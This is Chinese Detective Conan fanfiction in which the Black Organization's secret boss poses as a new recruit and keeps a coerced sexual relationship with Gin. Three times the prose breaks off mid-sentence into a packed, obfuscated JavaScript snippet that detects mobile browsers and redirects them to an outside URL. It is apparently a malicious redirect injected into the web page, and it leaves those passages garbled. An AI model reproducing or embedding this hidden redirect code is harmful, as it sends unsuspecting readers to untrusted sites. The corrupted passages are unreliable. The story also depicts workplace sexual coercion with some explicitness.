《Boss他今天也想来杯Gin》 1. 这个组织吃枣药丸1 通往机场的高速通道上,一辆黑色的保时捷365A正在飞速地行驶着,操控着方向盘的伏特加时不时侧头偷瞥副驾驶座位上的银发青年一眼,眉头皱得能够夹死一只苍蝇。 青年戴着黑礼帽穿着黑大衣,银白色的长发随意地披散在身后,长相是带着锋利的俊美,哪怕多看一眼都会被刺伤,正是组织里最令人闻风丧胆的头号杀手琴酒。 此刻的琴酒正坐在副驾驶闭目养神,脸上露出几分超负荷完成工作后的疲惫之态。伏特加盯着自家大哥看了一会,而后不动声色地移开视线,默默在心里叹了口气。 他们前脚用炸弹把那个从组织里叛逃的天才科学家雪莉炸死,还没来得及吃顿饭庆祝一下,大哥后脚就收到了一封邮件,紧接着二话不说拉着自己去机场接机。 因为时间紧迫,两人刚一上车就马不停蹄地往机场去,一整天就吃了个三明治,现在肚子还是饥肠辘辘的。伏特加惆怅地感受着腹中的饥饿感,一边开车,一边在心里问候着本次的接机对象,那个代号为百利甜的组织新晋成员。 从大哥口中得知两人要去机场接个人后,伏特加震惊到无以复加,墨镜后面两只眼睛瞪得老大。这位横空出世的新人到底是何方神圣,居然能让贵为组织高层的大哥亲自去接机。 他不是不好奇这个新人的真实身份,但大哥对此守口如瓶,并没有告诉他的打算。身为琴酒的头号跟班,伏特加很有眼力劲地没有打探下去,平稳地操纵着方向盘当一个尽职尽责的开车小弟。 保时捷356A一路风驰电掣,直奔东京羽田机场,线条流畅的深黑色轿车在高速公路上甩出一道潇洒利落的弧线。 * 刚一到达目的地,琴酒便无声无息地睁开双眼,那双平素沉静的碧色眼眸中,罕见地闪烁着意味不明的情绪。 两人拉开车门下了车,径直走入接机厅。随着他们的到来,原本闹哄哄的接机厅仿佛被按下了消音开关,瞬间安静了下来,大家都不约而同地闭上了嘴,脚步一点点往后挪移。 尽管琴酒和伏特加并没有做出什么出格的举动,但他俩像是误入羊群的恶狼,和周围显得格格不入。男女老少纷纷避之不及,好像下一秒两人就会化身南无加特林菩萨,把他们都给突突了。 无数道警惕戒备的视线落在自己身上,但琴酒根本就没把他们当回事,依旧面无表情,没有半点反应。 大概半个钟头后,不远处一个七八岁模样的男孩忽然嘴一瘪,毫无预兆地嚎啕大哭起来,哭声打破了接机厅的沉默死寂。 他的母亲怎么劝都劝不住,急得焦头烂额,琴酒被这一阵阵哭声吵得头疼,最后实在没忍住,一记凌厉的眼刀甩了过去,原本哭个不停的男孩立时被吓得止住了啼哭,他的母亲战战兢兢地将他环在怀里,隔绝了青年仿若淬了寒冰的视线。 伏特加沉默地将这一幕全数收入眼底,忍不住在心里暗叹,大哥我们是来接人的不是来杀人的,麻烦收收你的杀气,不然我怕我们还没见到今天的接机对象,就被那群条子以疑似恐怖分子为由逮捕入狱,落得个后半辈子唱铁窗泪的下场。 强烈的求生欲使伏特加只敢在心里吐槽,不敢真的说出口,他侧头看向身侧的青年,斟酌着字句低声开口:“大哥,这候机厅到处都是人,你说那位新人能认出我们吗?我们要不要举个牌子什么的?” 闻声,琴酒淡淡地瞥了他一眼,冷静的声音叫人分辨不出他的情绪:“用不着这么麻烦,我和那位新人之前认识,他一眼就能认出我。” 听他这么一说,伏特加缓缓转过头去,面上虽风平浪静,内心却已经掀起了惊涛骇浪。 这位新晋代号成员居然和大哥认识,可他向来和大哥形影不离,说是大哥身上的挂件也不为过,按理说大哥认识的人他也不会陌生,可他对这位新人却是一无所知。 想到这里,伏特加莫名感到有些挫败,平时自诩大哥身边第一人的他,也有不知道的人和事。叹了不知道多少口气后,耳边传来阵阵脚步声,一名身形颀长的黑发青年径直朝他们走了过来,他蓦地抬眼望去,目光定格在来人脸上,一时给怔愣住了。 来人看相貌不过二十出头,穿着再简单不过的黑T恤和紧身牛仔裤,墨色的短发干净利落,金色的双眸熠熠生辉,外形出众到能被最挑剔的星探一眼相中,哭着跪求他签到自家经纪公司。 这个漂亮得很客观的青年就是他们的接机对象,代号为百利甜的组织新人?伏特加对此表示非常怀疑。 不过眨眼的功夫,那名青年已然走到琴酒跟前,在离琴酒半步远的地方站定,金色的眼眸里带着清浅的笑意:“Gin,好久不见。”他的语气太过亲昵和熟稔,伏特加在旁听见,错愕不已。 琴酒顿了顿,面无表情地点了点头,以示回应,同时在心里默默反驳他,明明距离两人上次见面,只过去了三十一天零八小时而已。 想起分别那日,他给自己递了一张黑卡,作为自己昨晚表现好的奖励,琴酒的嘴角扯出一抹自嘲的弧度来,不过很快便压了下去,神情一如往昔的冷淡。 伏特加的视线在两人身上来回逡巡几遍,隐藏在黑色墨镜后的眼睛倏然瞪大——看这情形,来人就是他们的接机对象没错了。不动声色地把人打量了一番,他只觉得前途一片渺茫,这个看起来都不知道大学有没有毕业的小鬼,很快就会是和他一起共事的同僚,这个组织吃枣药丸啊,他是不是该早做打算,另谋出路了? 就在他琢磨往哪跳槽待遇最好时,那位新成员冷不防地出声,向琴酒歪头问道:“你身边这位是……” 伏特加被他的话拉回现实,清了清嗓子正准备自我介绍,却被身旁的大哥抢先一步:“他是我的搭档伏特加,这几年一直跟在我身边,你以后有什么不懂的可以问他。” 那位新成员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871207|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻点了点头,而后转过脸来,冲着面前这名戴着墨镜的黑衣壮汉礼貌微笑:“伏特加前辈好,我初来乍到,懂得东西不多,还望前辈往后多加提点。” 当一个相貌出众的年轻人主动向你释放善意的时候,你是很难对他生出厌恶之感的,在被声情并茂地叫了一声“前辈”后,伏特加瞧着眼前眉眼弯弯的青年,只觉怎么看怎么顺眼,接机前的怨气早就消失得无影无踪了。 他拍了拍自己的胸脯,豪气干云:“好说好说,我伏特加对待组织新人,向来是如春风般的温暖。” 两个人又交谈了几句,余光瞥见一旁沉默良久的琴酒忽然转身走出候机厅,互相望了一眼,随后亦步亦趋地跟了上去。 走到停车场,伏特加拉开驾驶座的门,琴酒照旧坐在副驾驶的位置。在发动车子前,伏特加透过车内的后视镜向后看去,那名新成员此刻正姿势闲散地坐着,那孤高而漫不经心的神情,好似帝王坐在王座上。 联想到大哥对他的态度比以往的那些新人重视许多,伏特加忽然福至心灵,脑子里闪过一个既离谱又靠谱的想法——这个名不见经传的家伙说不定就是Boss的直属血脉,之所以空降组织,全是为了替Boss巡视底下员工的工作情况。 越想越觉得这个猜测十分有道理,伏特加看向那位新成员的眼神里多了几分敬意,他以后可得跟人家打好关系,说不定人家一个高兴,在Boss面前替自己美言几句,Boss发现了他这颗沧海遗珠,自己从此扶摇直上,平步青云。 他正幻想着升职加薪,出任组织高层,迎娶洋子小姐,走上人生巅峰的美好未来,原本安安静静坐在后座的新成员忽然开口问了一句:“所以我们接下来要去哪?” 伏特加当即就要开口回答这个问题,可下一秒,却看见令他惊掉下巴的一幕,本来想说的话一瞬间忘了个精光。 ——只见那位新成员正用手指随意地拈起琴酒身后的一缕长发,在指尖上绕了几圈,而琴酒见此情形并未动怒,任凭他玩弄着自己的长发,好像这是再正常不过的一件事。 从未见过如此场景的伏特加简直要被震碎三观,他在内心疯狂咆哮:“大哥你明明最宝贵你的头发了,为什么那个新人玩你的头发,你却没有掏出伯·莱·塔顶在他脑门上警告他管好自己的手脚啊!!!” 那个新人不愧是Boss他老人家亲自安插进来的关系户,连老虎的屁股都摸了,换做别人对琴酒做这样的事,早没了半条命。伏特加更加坚定了自己先前的猜测。 琴酒一眼便看出伏特加在胡思乱想什么,无语地翻了个白眼。迎着身后那人问询的目光,他不紧不慢地答道:“接下来我们要去黑森林酒吧,让你和组织里其他成员见一面。” “见一面?”名为原泽河,代号百利甜的俊美青年口中细细咀嚼着这三个字,唇角泛起了意味不明的微笑,“真是令人期待呢。” 2. 这个组织吃枣药丸2 这一路上三人安安静静的没有再说话,惹眼的黑色保时捷飞速地行驶在公路上,不到一小时便抵达此行的目的地——黑森林酒吧。这家酒吧是组织的一处据点,看似普通,实际上从老板到员工全部都是组织成员。 伏特加在酒吧门口停了车,原泽河最后一个下车,然后迈着两条笔直的大长腿,跟琴酒伏特加一前一后走进酒吧。 酒吧里灯光迷乱,觥筹交错,酒与烟的味道在空气中漂浮着。里面的客人大多是黑衣组织成员,他们表面上做着各自的事,喝着各自的酒,却在三人走进酒吧的时候,交头接耳地窃窃私语起来。 凭借出众的耳力,原泽河将这些刻意压低的交谈声尽数收入了耳中。 ——“这个新成员长得未免也太好看了吧,啧啧,据我多年来混迹组织的经验看,颜值越高的家伙越有可能是卧底,由此推断,这人极大可能是敌对势力派来的卧底。” ——“咱别瞎扯行吗?能让琴酒大人纡尊降贵亲自接机,哪里会是什么敌方卧底?我猜他很有可能是Boss家的小少爷,之所以来这,就是为了体验生活。” ——“你们有没有想过另一种可能?这人并非生而高贵,而是一只被大佬豢养的金丝雀。” ——“反正看他那长相模样,不是Boss的亲人就是Boss的情人,不管哪种身份,都不是我们能惹得起的。” 那些家伙越说越离谱,对他身份的猜测可谓五花八门,原泽河一字不落地听完,默默在心里反驳了一句:“让你们失望了,我既不是Boss的亲人也不是Boss的情人。” 前面带路的琴酒忽然停下脚步,原泽河似有所感地抬眼望去,只见几个黑衣人正打量着他,目光像工厂里检验产品是否合格的机器一样,把他从头到脚看了个遍。 还没等他作出反应,伏特加就把头凑了过来,一一为他介绍:“这些家伙都是组织的代号成员,那个左眼纹着凤尾蝶刺青的女人叫基安蒂,是组织中的精英狙击手。坐在她旁边沉默不语的男人叫科恩,是她的固定搭档。还有那个金发黑皮的家伙,他的代号是波本,隶属于情报组,是个令人讨厌的的神秘主义者……” 原泽河在这帮代号成员打量自己的同时,也打量他们,心里念头流转,表面却不动声色。 在组织里拥有代号的成员都是组织里的精英,就是不知道他们的真本事,值不值得一张诺亚方舟的船票。 双方认识过后,组织的新晋代号成员越过琴酒,走到未来的新同事面前,唇边扬起友好的笑容,显得他人畜无害:“初次见面,各位前辈好,以后还请多多指教,今天你们要吃什么喝什么,全部由我买单。” 得知今天所有的消费都有人买单,一众组织成员的眼睛瞬间亮了起来,对这位新人的好感度也跟坐火箭一样,噌噌噌上涨。毕竟这么一个相貌出众又出手阔绰的年轻人,有谁会不喜欢呢? 原本正在吧台后忙着的酒保听他这么一说,立刻殷勤地迎了上去,不遗余力地向金主们推销酒水,一副不把他钱包榨干就誓不罢休的样子。 桌子上堆砌的酒瓶越来越多,原泽河单独坐在一张沙发上,将一众组织成员的醉态看在眼里,唇角扬起一抹不易察觉的弧度。呵呵,这群家伙还真容易满足,一点也不像混黑的。 在他百无聊赖地看着那群人发呆时,伏特加手上拎着一瓶酒,摇摇晃晃地朝他走了过来,紧接着,身侧的沙发凹陷了下去,他看着坐在自己旁边的墨镜壮汉,不动声色地挪开些距离。 也许是喝了酒的缘故,伏特加的倾诉欲突然爆棚,憋了许久的话一股脑说了出来:“百利甜,你这家伙都不知道自己有多幸运。” 他这话说的没头没脑,然而原泽河却饶有兴致地挑起了一边的眉毛:“还请前辈指点迷津,告知我幸运在哪。” 伏特加想都没想,脱口而出:“自然是因为你被分到了我大哥手下,之后就能跟着我大哥一起出任务。不是我伏特加夸口,我大哥绝对是全组织最靠谱的人,你跟着他就没有完不成的任务。” 也许是觉得这番夸赞还不够,他嘴巴一张一合,又吐出一大串对自家大哥的彩虹屁,语气很是真情实意,就像是在说着什么普世真理似的,其对琴酒的崇拜可见一斑。 原泽河安安静静地听着,视线不受控制地落在琴酒身上,男人正坐在吧台边的座椅上,手中握着一只玻璃杯,色彩浅淡的薄唇沾染上酒液,亮晶晶的好像果冻一样,看着就很好亲的样子。 他定定地盯着对方看了一会儿,然后不动声色地移开目光,朝依旧在那里叽里呱啦说个不停的伏特加问了一句:“伏特加前辈,你能告诉我你为什么对琴酒大人这么死心塌地么?” 伏特加停顿了一下,没有回答他的问话:“你真想知道?” 原泽河立马坐直了,摆出一副洗耳恭听的样子,意思不言而喻。 也许过了很久,也许只是短短几分钟,伏特加再度张口:“没有人会无缘无故的对一个人好,我之所以对大哥死心塌地,自然是有原因的。” 他说到这里,脸上浮现出回忆的神色:“我原本在后勤组上班,某次任务失利,被条子抓住尾巴,好几辆警车逮着我围追堵截,就在我以为后半辈子都要在监狱度过时,大哥开着他的保时捷及时出现,迅速丢了一个烟雾弹,然后趁机将我拉上车,把那些条子远远甩在身后。” “回到组织的第一天,我就主动向上面申请,要从后勤组调到行动组。我在后勤组的同事听说这件事后,都说我是个傻子,行动组死亡率这么高,我这是赶着去送死。事实证明他们说的都是对的,行动组的成员每天都像在刀尖上行走,时刻面临着死亡的危险,可就算是现在,我依旧没有后悔做出这个选择。” 一股脑地说完这番心里话,他突然毫无预兆地向原泽河伸出了手,轻轻拍了拍他的肩膀,语重心长地说:“你别看大哥这么冷淡,其实只要你被他划分到自己人的阵营,他就是你最坚强的后盾,不到最后关头绝不会抛弃你。”他说完又强调似的补充:“所以我才说,你能分到大哥的手下,是很幸运的一件事。” 这些话一个字一个字地钻进原泽河耳朵里,就像一颗颗小石子,他一向波澜不惊的心湖因此泛起了一圈圈的涟漪。 在今天之前,他从未想过“最坚强的后盾”这几个字会和琴酒沾上边。毕竟对他来说,琴酒更像是一把锋利无比的剑刃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871208|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑刃是杀人的凶器,出鞘便要见血。 在最初的诧异过后,原泽河看向坐在高脚椅上自斟自酌的银发青年,简直就像发现了宝藏一样的惊喜。 剑与盾,进攻与守护,能为你挡下一切伤害,也能为你扫除一切障碍,明明是截然相反的两种属性,却在同一个男人身上奇妙融合,无形中勾起人强大的探索欲。 而就在下一刻,琴酒放下酒杯,朝他的方向走了过来,几步便走到了他面前。尽管喝了许多酒,银发青年的脸上却没有一丝一毫的醉意,望着他的眼神清明如水。 他瞥了一眼喝得不省人事的伏特加,而后用只有他们两个人才能听见的声音说道:“时候不早了,我送您回去吧。” 原泽河轻轻点了点头没有拒绝,结完帐后就和琴酒离开了酒吧,留下一堆已经醉得七歪八倒的组织成员。 * 走出酒吧时天色已晚,道路两旁的高楼大厦都亮起了璀璨绚丽的霓虹灯,昭示着黑夜的莅临。 原泽河再一次登上那辆保时捷,只不过这一次他坐在了副驾驶的位置。给自己系好安全带后,他盯着琴酒线条凌厉的侧脸看了一会,忽然想起来什么似的说道:“Gin,就在不久前,伏特加还和我提到你呢。” 琴酒闻言,握住方向盘的手顿了一下,语气尽量平稳地问道:“他都和您说了些什么?” 原泽河悠闲地靠在椅背上,唇角扬起一丝不明显的弧度:“他说你是全组织最靠谱的人,只要有你在,就没有什么问题是解决不了的。”看着琴酒因为他的话变得有些不自然,他突然起了一点恶作剧的心思,将伏特加吹过的那些彩虹屁一字不落地复述了一遍,就连语气也模仿得惟妙惟肖。 这些把他夸得天花乱坠的话一说出口,非但没让琴酒感到高兴,反而让他起了一身的鸡皮疙瘩。如果伏特加现在在他身边,他真的想掰开对方的脑子看看里面装的什么东西。 银发青年那张向来波澜不惊的脸庞上,少见地露出了窘迫的神色。尽管逗弄这个看似冷淡,实则冷淡的男人的确很有趣,但原泽河懂得适可而止的道理,没再继续说下去,车内忽然安静下来,静得只能听到彼此清浅的呼吸声。 黑色保时捷疾驰在夜色之中,几乎是一路畅通无阻地驶入一片高档住宅区,最后在一幢从里到外都透着一股金钱气息的别墅前停了下来。 打开车门下了车后,原泽河没有立刻关上车门,他用手撑着车门,诚挚地向琴酒发出邀请:“你今天忙了一天,想必是累极了,要不要在我这里歇上一晚?” 闻言,琴酒身子一僵,双手将方向盘捏得死死的,但是很快他就强迫自己放松下来,故作体贴地说道:“您今天刚到日本,想必有一大堆事务等着您来处理,我就不打扰您了。” 他的表情、语气和措辞皆是滴水不漏,让人挑不出任何的错处,但原泽河并没有放过他的打算,含笑的眼里是不容置喙的坚决:“我不认为你会打扰到我。” 话说到这个份上,琴酒要是再拒绝,就太不给他面子了。静默片刻后,以残忍无情著称的组织王牌杀手,面对那名黑发金眼的俊美青年,再一次摆出那副低眉顺眼的样子:“是,Boss。” 3. 这个组织吃枣药丸3 灯火通明的卧房内,刚洗完澡的原泽河坐在电脑桌前,眼睛一直盯着电脑屏幕,十指飞快地在键盘上敲敲打打,发出一连串噼里啪啦的声响。 终于敲完计划书的最后一个字,他如释重负一般朝椅背靠去,电脑屏幕微弱的光线打在他的脸上,愈发显出他五官精致眉目如画。 如果现在有旁人在场,在看过电脑上的文档后,一定会大吃一惊。只因那篇文档的标题,赫然写着“黑衣组织毁灭计划”这几个大字。 没错,作为黑衣组织的幕后老大,他想要亲手摧毁这个组织。而促使他做这个事情的原因,跟手底下的亲信向他递来的一份卧底名单有关。 在看完那份一眼望不到头的卧底名单后,原泽河沉默良久,脸上的表情十分复杂。谁能告诉他,这个被各国派来的卧底渗透成筛子的日本分部是怎么活到现在的? 日本分部的负责人是乌丸莲耶,作为他来到这个世界的第一个朋友,原泽河特地把这块肥肉分给了对方。对方也没有让他失望,将日本分部打理得井井有条。 只是随着年龄的增大,乌丸莲耶越来越惧怕死亡,开始煞费苦心地谋求长生,企图逆转时间的洪流,永葆青春,免受死亡侵扰。 在得知乌丸莲耶试图研发长生不死药的计划后,原泽河没有任何的吃惊,这在他看来实在是一件顺理成章的事情。死亡迫近的压力是巨大的,会把人的理智压垮,古往今来,凡位高权重者无一不畏惧死亡,皆是孜孜不倦追寻长生不老,在里世界呼风唤雨几十年的乌丸莲耶自然也不例外。 对乌丸莲耶堪称疯狂的计划,他不仅不反对,而且还大力支持,每年都拨给他大笔大笔的钱。毕竟对他来说,钱早就多到几辈子都用不完,能花点钱让老朋友开心,也没什么不好的。 莫名想起上次见面时,垂垂老矣的乌丸莲耶看着面容如昨丝毫未变的自己,眼中不加掩饰地流露出艳羡的神色,原泽河在心里面无声无息地叹了一口气。 他并非此间中人,而是一名得道多年的魔修,靠武力在修真界兴风作浪了数百年后,终于被忍无可忍的天道降下一道雷劈进这个小世界,被当时还只是个底层小混混的乌丸莲耶捡回家照顾。 为了报答乌丸莲耶连日来的照顾,原泽河主动提出自己可以帮野心勃勃的青年篡位。在轻易击杀掉组织原本的首领后,乌丸莲耶却将首领之位推给了他,表示自己愿效犬马之劳。 之后两人以此为据点通力合作,将原本不入流的三流组织做大做强,发展成如今势力触角遍布数十个国家的跨国犯罪集团。 因为修士的寿命比凡人要长很多,而且修为越高,寿命越长,作为地表最强魔修的原泽河不说与天同寿,活个几千年还是一点问题都没有的。所以即使在这个小世界生活了几十年,他的面容也丝毫未留下岁月的痕迹。 有时候他也会想,乌丸莲耶之所以对长生的执念这么深,大概率是在看到自己不会变老后被刺激的。 只是乌丸莲耶过于激进了,为了研发出真正的长生不死药,甚至不惜进行各种惨无人道的人体实验,以至于被各国情报部门注意到,这才造成如今这种组织被卧底钻成筛子的局面。如果他能按部就班地行动,那自己也不用空降到这里帮他收拾烂摊子了。 然而事已至此,再多的谴责也只是无用功,他要做的就是摧毁这个已经没救了的日本分部,以防那些正义感爆棚的老鼠顺藤摸瓜查下去,最后查到他这个幕后老大头上。 而他之所以会以新晋成员的身份打入组织内部,也是这个计划的一部分。他要在接下来的这段日子里,评估有那些值得带走的优质资产,然后在末日来临之前将其转移到安全的地方。 正当他研究这一计划的可行性时,浴室的门忽然被打开,紧接着一阵脚步声由远及近地传来。 听着越来越近的脚步声,原泽河迅速按下了保存键,然后合上自己的笔记本电脑,偏头朝声源处望了过去,入目便见穿着黑色浴衣的银发杀手朝他走了过来,黑色浴衣衬得他的肤色更加冷白,也将他宽肩窄腰大长腿的完美身材全然凸显出来。有几颗水珠顺着他的发丝滑落,又沿着修长的脖颈,滑进他敞开的衣领里,分外引人遐想。 原泽河定定地盯着他看了一会儿,心想,原来这就叫赏心悦目。直到琴酒轻轻地咳嗽了一声,他才收回肆意打量的目光,冲琴酒招了招手,对方只迟疑了片刻便在他面前的地毯上单膝跪下,动作熟练而流畅,像是做过无数遍一样。 他看着这个组织中凶名远扬的男人那副乖顺的样子,忽然心血来潮地说:“要不要我帮你吹头发?” 银发杀手闻言先是一愣,反应过来后刚想开口拒绝,可话还没说出口,就见自家Boss变戏法似的拿出一只吹风机,而后霸道又不失温柔地把他拉到床边,打开开关亲自给他吹起头发。 琴酒见自家Boss执意如此,也只好把原本想说的话咽了下去,任由他拿着吹风机帮自己吹头发。青年修长的手指穿梭在他的发间,松缓地按摩着他的头皮,琴酒紧绷的身子逐渐放松下来,坦然自若地开始享受来自顶头上司的的贴身服务。 他们谁都没有说话,吹风机的声音呼呼作响,充斥在房间每一个角落,莫名有种静谧安宁的味道。 头发吹到半干,原泽河忽然没头没脑地问出一句话,语气里是纯粹的好奇之意:“Gin,你之所以留着这么长的头发,是因为怕理发的时候被理发师暗杀吗?” 这样的猜测着实有些天马行空,诡异的沉默几秒钟之后,组织的优秀员工顺着自家Boss的话说:“居然被您给猜中了。” 听到琴酒回答的一瞬间,原泽河的唇角不受控制地向上扬起,像极了从大人手里讨到糖果的小孩子。 20:20,原泽河帮琴酒吹完最后一段头发,然后关上吹风机,放进床头柜里。 20:30,琴酒被他扑倒在床上,两人的衣物落了一地,凌乱不堪。室内寂静,只有暧昧的水声和男人隐忍的闷哼声响起。 23:30,那声音终于停了下来,琴酒被折腾地昏了过去,暴露在外的皮肤上布满了密密麻麻的吻痕,冷白的肤色将他身上斑驳的痕迹衬托得愈发明显。而造就这一切的罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871209|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魁祸首运气入体,开始静静地打坐修炼。 零点已过,新的一天到来,原泽河打坐完毕,感受着体内充沛的灵力,满意地勾了勾唇角。片刻过后,他转头看向因为被折腾得太狠而睡得很沉的琴酒,心中莫名想到,他和这位劳模下属保持这种关系已经有快半年的时间了。 尽管两人之间的关系听起来很像邪恶的公司老板见色起意,进而潜规则了漂亮秘书这种刘备文展开,但原泽河能竖起三根手指对天发誓,他之所以会和琴酒发生超出工作以外的关系,绝不是因为精虫上脑,要知道他在自己原本的世界,一直是个清心寡欲的无CP选手,发自内心地认为对象只会影响自己拔剑的速度,单身几百年也没觉得有什么不好。 他会对琴酒下手,原因只有一个——这个刀剑一样锋利的男人,居然是百年难得一遇的炉鼎体质,与其双修能快速提升修为。天知道在这个灵气稀薄到近乎于无的小世界,琴酒的存在是多么的难能可贵,他是绝对不会放过这么一个移动充电宝的。 所以他很轻易地突破了自己本就不高的道德底线,将统共只见过一面的银发杀手叫进办公室,坦然自若地说出自己想和他负距离接触的话。 他还记得对方当时愣了很久,似乎不敢置信自己听到了什么,但在最后,男人还是沉默着点了点头,然后将自己身上的衣物一件一件褪下,就像河蚌一点一点打开自己的壳,露出内里柔软肥美的蚌肉,等着对面尽情地品尝。 在即将冲进去的那一瞬间,原泽河明显感受到男人的僵硬,但只不过一瞬,他便强迫自己放松下来,紧紧闭上双眼,承受着那长久到仿佛无休止的掠夺。 汗珠顺着他线条完美的后背滑落,弄湿了身下的办公桌,即使某个不可言说的地方传来阵阵钝痛,男人也只是默默地咬牙忍受,不愿流露出一星半点的软弱。 自那以后,他和琴酒就不再只是上下级关系,隔三岔五他就会把琴酒叫到自己面前,在对方汇报完工作后就把他压倒,然后对他为所欲为。在他的眼里,这个沉默寡言的银发杀手既是能干的下属,亦是能干的下属。 当然,他也不会让琴酒白打一份工,他原泽河虽不是什么好人,但绝对的恩怨分明,不屑于做出吃霸王餐的无耻行径。他记得就在上个月,自己特地送了琴酒一张至尊级黑卡,作为睡了他好几次的回报。 只是对方那个时候也没有表现出很高兴的样子,拿着那张全球只限量发行了八张的黑卡,就像拿着一张随处可见的白纸一样,神色平静得让人失望得很。 原泽河想到这里,支着下巴看着倒在自己床上昏睡过去的琴酒,目光扫过他冷峻的眉眼。其实琴酒拥有一副绝佳的皮囊,却因为主人的赫赫凶名而被人忽视,当他和旁人相处时,永远被注意到的不是他的脸而是那不好惹的气场。可对他而言,琴酒身上那种冷得随时让人头脑清醒的杀气,却是最大的加分点。 他不得不承认,自己之所以会睡了人家,除了对方是极品炉鼎的缘故外,还有一个微不足道的原因。 ——琴酒的外形,的确非常,非常符合他的审美标准。 4. 这个组织吃枣药丸4 早上八点,原泽河走进繁华商业街的一间风格复古的咖啡馆里,在前台点了一杯热咖啡和一份甜点后就随便找了个位置坐下,然后打开手机,目光专注地看着屏幕上的红点,整个人没骨头似的靠在椅背上,长腿懒懒散散地伸着。 ——他虽说是组织老大,但既然做出了假扮新成员的事,就得认真履行自己的职责。没办法,做戏也要做全套不是? 而他被分配到的第一个任务就是帮组织追回三天前被一个不知名帮派在东京湾码头劫走的货物,顺带清理掉那群胆大包天的杂鱼。 为此他特地捏造了一个身份,而后登上情报贩子提供给他的网站,与急着出货的帮派内部成员联系上。一阵激烈的杀价过后,原泽河成功以三百万美金的价格买下了那批货物。 今天是双方约定好的一手交钱一手交货的日子,原泽河特地起了个大早,遵照之前和他联络的那个人的吩咐,将装有三百万美金的黑色皮箱放进大丸百货的储物柜里,而后随便找了家咖啡馆消磨时间。 那只皮箱的夹层里安装了组织最新研制出来的定位器,不管去到哪,他都能用手机查到它的位置。咖啡馆里播放着轻柔的爵士乐,刚加入组织的新成员一边吃着甜品喝着咖啡,一边注意着定位的红点。 等待的时间总是枯燥且乏味的,眼看着咖啡就要喝完了,红点还是纹丝不动,原泽河索性将视线从手机屏幕上移开,而后漫无目的地四处游走,最后停留在坐在他斜对角的三个人身上。 眼中的惊讶之色一闪而过,原泽河单手支着下巴,饶有兴致地看着那三个家伙。 这三个人里一个是梳着大背头蓄着小胡子的中年大叔,一个是头上长角的女高中生,一个是穿着蓝色西装打着红色领结戴着黑框眼镜的小鬼头,无论哪一个单拎出来都是有名有姓的人,其中最引人注目的当然是那个很有名的东京名侦探毛利小五郎。 他之前一直长居美国,几天前才坐飞机回到日本,从米花电视台的新闻节目中得知米花町的犯罪率极高,各种刑事案件层出不穷,魔幻程度堪称东方小哥谭。那些犯人的作案手法和作案动机都十分离谱,脑回路永远令人捉摸不透,而且案发现场总是会出现毛利小五郎和他的女儿毛利兰,以及寄居在他们家的江户川柯南。 如果不是在新闻节目上亲眼见过他的脸,原泽河很难将那个坐在桌前胡吃海吃的邋遢大叔和那个人称“沉睡的小五郎”的名侦探联系在一起,现在的他也只能用人不可貌相海水不可斗量的道理说服自己。 也许是他的目光存在感太强,以至于根本无法忽视,坐在他斜对角的三人都扭头朝他看了过去,正好撞上了他打量的眼神,双方隔空对视着,你看我我看你。 即使被当场抓包,原泽河那张精致的脸上也并未露出一丝一毫的尴尬或不自在,他冲三人弯唇一笑,那抹笑容中和了他身上那股让人不敢触碰的距离感,毛利一家子顿时对这个看起来亲和友善的年轻人好感度大增。 只是笑了笑,就能让人卸下一切心防,对他好感度蹭蹭蹭地涨,恨不得将全世界捧到他面前,组织的Boss身体力行地证明了“颜值即正义”这句话的正确性。 在和三人打过照面后,原泽河先一步移开视线,拿起汤匙低头搅拌咖啡,就在这时,手机突然响了一下,他拿起一看,原来是琴酒给自己发了一条简讯,里面只有短短几个字:请Boss务必小心。 明明只是一句很普通的关切之语,可原泽河看过之后就是莫名的心情好,他点开简讯框,修长的手指在键盘上跳跃,快速打出一行字:“你就放心好啦,我不会有事的。” 就在他按下发送键的那一瞬间,那个穿着蓝色西装戴着红色领结的小男孩冷不丁地开口,语气里带着明显的调侃:“大哥哥笑得这么开心,是在给自己的女朋友发消息吗?” 因为所有的注意力都放在了刚发出去的那条简讯上面,他居然没有察觉到小鬼头的靠近。 对上柯南意味深长的眼神,原泽河莫名觉得有些不自在,他虚张声势地反驳道:“我和他不是那种关系。”且不说琴酒压根就不是个女人,就算琴酒性转,他们之间的关系也和世俗意义上的恋人差了十万八千里。 柯南似乎打算打破砂锅问到底:“所以你们到底是什么关系?” 闻言,原泽河低头想了一下,却发现自己一时半会也想不出合适的字眼来形容他和琴酒之间的关系。两人之间说成上下级太过疏远,说成恋人又差了那么一口气,就是这么不清不楚,不明不白。 迎上小萝卜丁八卦的视线,他有些欲盖弥彰地咳嗽两声,试图端起长辈的架子:“你还小,不懂,等你长大了就明白了。” 